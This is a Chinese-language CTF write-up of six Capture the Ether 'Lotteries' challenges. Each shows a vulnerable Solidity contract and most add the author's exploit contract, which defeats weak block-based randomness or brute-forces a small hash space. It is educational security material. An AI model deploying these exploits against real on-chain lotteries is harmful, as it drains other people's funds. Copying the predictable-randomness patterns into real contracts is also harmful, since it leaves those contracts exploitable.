Lotteries
在以下每个挑战中,我们的目标是在guess时正确猜测答案
第一题:Guess the number
代码:
pragma solidity ^0.4.21;contract GuessTheNumberChallenge { uint8 answer = 42; function GuessTheNumberChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 1 ether); if (n == answer) { msg.sender.transfer(2 ether); } }}
很简单,题目中直接给出了要猜测的数字是 42 ,部署合约输入 42 即可。
第二题:Guess the secret number
代码:
pragma solidity ^0.4.21;contract GuessTheSecretNumberChallenge { bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365; function GuessTheSecretNumberChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 1 ether); if (keccak256(n) == answerHash) { msg.sender.transfer(2 ether); } }}
要求我们给出一个 uint8 类型的数字的 hash 值等于题目给的answerHash,因为uint8最大也不过 255 ,所以我们可以用枚举法写一个 for 循环一个一个来判断。
攻击代码:
pragma solidity ^0.4.21;contract GuessTheSecretNumberChallenge { bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365; uint8 public answer; function guess() public payable { for(uint8 i = 0; i < 255; i++) { if (keccak256(i) == answerHash) { answer = i; } } }}
部署合约,调用攻击合约的guess方法得到答案,在目标合约输入 answer 即可:
第三题:Guess the Randomnumber
代码:
pragma solidity ^0.4.21;contract GuessTheRandomNumberChallenge { uint8 answer; function GuessTheRandomNumberChallenge() public payable { require(msg.value == 0.001 ether); answer = uint8(keccak256(block.blockhash(block.number - 1), now)); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 0.001 ether); if (n == answer) { msg.sender.transfer(0.002 ether); } }}
这道题answer在我们部署合约时由block.number 以及 now 生成, block.number 是部署合约时的区块高度,很容易获得, now 是当前的时间戳,这是个比较麻烦的地方,我们可以使用 injected provider 在 remix 中使用的我们的 metamask 钱包部署合约。(题目的 1 ether 太高了,我们可以自行降低,这里我用的 0.001 ether 即 1 Finny)
部署了合约之后,我们可以去区块链浏览器上查看合约的情况,点击 view on etherscan:
可以看到当前交易的信息:
点击 State ,第二个 address 就是我们合约的地址,点击旁边的箭头就可以看见合约中有一个 storage 变量的变化,转换成number类型之后就可以知道answer 就是 99:
输入答案99即可:
第四题:Guess the Newnumber
代码:
pragma solidity ^0.4.21;contract GuessTheNewNumberChallenge { function GuessTheNewNumberChallenge() public payable { require(msg.value == 0.001 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 0.001 ether); uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)); if (n == answer) { msg.sender.transfer(0.002 ether); } }}
这道题answer变成了在我们运行guess函数时生成,上一题的方法就不行了,我们可以写一个攻击函数,构造一个answer,然后从攻击函数来调用guess函数。
攻击代码:
pragma solidity ^0.4.21;import "./GuessTheNewNumber.sol";contract Poc { GuessTheNewNumberChallenge target; function pwn() public payable { uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)); target.guess.value(0.001 ether)(answer); } function Poc(address _addr) public { target = GuessTheNewNumberChallenge(_addr); } function () public payable {}}
通过pwn函数我们生成了一个answer(在同一个交易中now和blocknumber是相同的),然后调用目标合约的guess函数,传入答案answer。
部署合约,调用pwn函数即可:
攻击完成
第五题:Predict the future
代码:
pragma solidity ^0.4.21;contract PredictTheFutureChallenge { address guesser; uint8 guess; uint256 settlementBlockNumber; function PredictTheFutureChallenge() public payable { require(msg.value == 0.001 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function lockInGuess(uint8 n) public payable { require(guesser == 0); require(msg.value == 0.001 ether); guesser = msg.sender; guess = n; settlementBlockNumber = block.number + 1; } function settle() public { require(msg.sender == guesser); require(block.number > settlementBlockNumber); uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10; guesser = 0; if (guess == answer) { msg.sender.transfer(0.002 ether); } }}
这道题answer的生成方式和上一题一样,依然是利用block.number和now来生产,但是猜测的范围变成了0 – 10,不同于上题的是它需要我们先通过lockInGuess函数设置一个我们猜测的数字guess,也就是我们猜测的数字是确定的,但是answer变化的,所以我们可以构造一个合约,当我们设置的guess和当前的answer相同的时候再执行settle函数。
攻击代码:
pragma solidity ^0.4.21;import "./PredictTheFuture.sol";contract attack { PredictTheFutureChallenge challenge; constructor(address _addr) public { challenge = PredictTheFutureChallenge(_addr); } function gue() public payable { challenge.lockInGuess.value(msg.value)(5); } function set() public payable { uint8 result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10; if (result == 5) { challenge.settle(); } } function() public payable{}}
部署合约,先调用gue函数设置一个猜测的guess(我选择的5),再调用set函数直到成功为止即可(挺看运气的)
第六题:Guess the Hash Number
代码:
pragma solidity ^0.4.21;contract PredictTheBlockHashChallenge { address guesser; bytes32 guess; uint256 settlementBlockNumber; function PredictTheBlockHashChallenge() public payable { require(msg.value == 0.001 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function lockInGuess(bytes32 hash) public payable { require(guesser == 0); require(msg.value == 0.001 ether); guesser = msg.sender; guess = hash; settlementBlockNumber = block.number + 1; } function settle() public { require(msg.sender == guesser); require(block.number > settlementBlockNumber); bytes32 answer = block.blockhash(settlementBlockNumber); guesser = 0; if (guess == answer) { msg.sender.transfer(0.002 ether); } }}
题目要求我们猜测下一个区块的256位的Hash值。
“出于可扩展性的原因,区块哈希并非对所有区块都可用。您只能访问最近 256 个区块的哈希值,所有其他值将为零。”
所以我们只需要等待256个区块就可以解决这个问题。
攻击代码:
pragma solidity ^0.4.21;import "./PredictBlockHash.sol";contract attack { PredictTheBlockHashChallenge challenge; uint256 blockNumber; bytes32 answer; function attack(address _addr) public { challenge = PredictTheBlockHashChallenge(_addr); } function guess() public payable { blockNumber = block.number + 1; challenge.lockInGuess.value(0.001 ether)(answer); } function pwn() public { require(block.number-256 > blockNumber,"Didn't generate 256 blocks"); challenge.settle(); } function ()external payable{}}
先调用攻击合约的guess函数,存入0,等到生成了256个区块之后再来调用pwn函数即可(等的时间挺久的)